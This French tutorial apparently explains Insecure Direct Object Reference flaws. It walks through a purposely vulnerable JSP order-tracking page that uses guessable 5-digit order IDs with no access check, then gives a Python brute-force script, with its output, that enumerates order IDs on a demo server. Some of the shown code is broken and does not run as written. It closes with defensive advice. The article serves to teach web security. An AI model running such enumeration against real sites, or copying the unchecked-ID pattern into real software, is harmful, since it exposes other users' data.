Références directes d'objets
Définition
Passons maintenant à une faille facile de compréhension mais pour le moins dangereuse.
Labellisée par les instituts CWE/SANS comme Improper Access Control ou Insecure Direct Object Reference,
ce type de vulnérabilité affecte les applications qui ne contrôlent pas suffisament les ressources que peuvent
accéder les utilisateurs, partant souvent du principe que ceux-ci ne dévieront pas de la navigation normale.
Dans la pratique, ce type de problème intervient lors d'accès à des ressources référencées ou indexées.
Notamment, le profil de l'utilisateur "1", l'accès au panier "654", etc...
Les applications Web les plus touchées sont sans nul doute les applications de type client/serveur (applets Java,
applications Flash/Flex, etc...).
Pour ne pas compliquer inutilement ce petit article, nous considérerons néanmoins un site classique,
en JSPs (Java Server Pages), une facilité de scripting en Java, afin d'illustrer ceci.
Un petit exemple
Un petit site d'après-vente très simple, où il est question de retrouver d'après un numéro
d'identification, à 5 chiffres, les détails d'une commande passée et d'en effectuer les modifications si nécessaire.
<-- index.jsp / Service après-vente -->
<%@ page language="java" contentType="text/html; charset=ISO-8859-1"
pageEncoding="ISO-8859-1"%>
<%@ page import = "java.lang.*" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<%
Integer id;
String param = request.getParameter("idCommande");
if (param == null || param.length() != 5) {
} else {
try {
id = Integer.parseInt(param);
} catch (NumberFormatException nfe) {
}
}
/* Emulation d'une fonction de vérification d'existence */
if (id == 0 || (id != 12345 && id != 23456)) {
%>
<html>
<head><title>Suivi de votre commande</title></head>
<body>
<form method="get" action="/index.jsp">
Référence de votre commande : <input type="text" maxlen="5" size="5" name="idCommande">
</form>
</body>
</html>
<%
} else {
/* Récuperation de la commande
* Commande com = getCommandeByID(id);
* etc...
*/
%>
<html>
<head><title>Suivi de votre commande</title></head>
<body>
Référence de votre commande : <% out.println(id); %><br />
Détails de votre commande : [...]<br />
</body>
</html>
<%
%>
Vous l'aurez remarqué, faire une page fonctionnelle complète aurait été hors de propos. La fonction de
vérification d'existence est simulée par un if, indiquant qu'il n'y a que les références "12345" et
"23456" qui existent.
On consulte donc ce petit site en fournissant la référence indiquée sur notre bon de commande, "12345".
La page de détail s'affiche bien donc la commande a été trouvée. Testons donc avec un id au hasard, "31337.
Le site nous renvoie le formulaire de demande de la référence, ce qui correspond bien à ce que nous avons fait.
Maintenant, il est temps de s'intéresser à ce qui ne va pas. Deux choses. D'une part, la référence à la commande
est directe (référence d'identification de la commande). Autrement dit, si nous trouvons le numéro d'une commande
qui n'est pas à nous, nous pouvons quand même afficher la page de détail. D'autre part, l'étendue des numéros
est trop petite. En effet, un identifiant à 5 chiffres laisse seulement un centaine de milliers de possibilités, ce
qui est très faible comparé à la puissance de calcul informatique actuelle. L'idée serait donc ici de tester tous les
numéros afin de trouver ceux qui sont valides.
Avec un programme bateau de brute-force, on peut tester rapidement et trouver des références valides
(le programme est volontairement ralenti et utilise le moins de sockets possibles, à cause de lenteurs des fermetures
de sockets de httplib et surtout de la faiblesse de la plateforme Tomcat/Java qui est derrière et qui tombe
relativement rapidement sur des attaques brutes de ce type en remplissant son heap).
$ cat brute.py && ./brute | grep n
#!/usr/bin/python
import httplib
import re
import socket
import time
def main():
match = re.compile("tails")
refs = []
i = 0
x = time.time()
while True:
if i >= 30000:
conn = httplib.HTTPConnection("poc.bases-hacking.org:8080")
print i
for j in range(0,100):
conn.request("GET", "/index.jsp?idCommande=" + str(i))
resp = conn.getresponse()
data = resp.read()
if match.search(data) != None:
print "Found " + str(i) + " in " + str(time.time() - x) + " seconds"
refs.append(i)
i = i+1
conn.close()
if refs != []:
print "Commandes existantes : ",
for ref in refs:
print
else:
print "Aucune commande valide"
if __name__ == "__main__":
Found 12345 in 12.6583929062 seconds
Found 23456 in 20.1704540253 seconds
Commandes existantes : 12345 23456
$
Vous l'avez compris, ce genre de danger est présent lors d'accès à des ressources sans avoir besoin de
s'authentifier, auquel cas la clé doit être suffisamment difficile à deviner ou brute forcer, ainsi que dans
tous les cas où des variables d'identification d'objet sont passées à l'utilisateur puis réutilisées, auquel
cas il faut bien vérifier que l'utilisateur a le droit de consulter l'objet.
Un court article de recommandations de programmation Web sécurisée vous donnera plus d'informations sur
les bonnes pratiques permettant d'éviter ce genre de failles.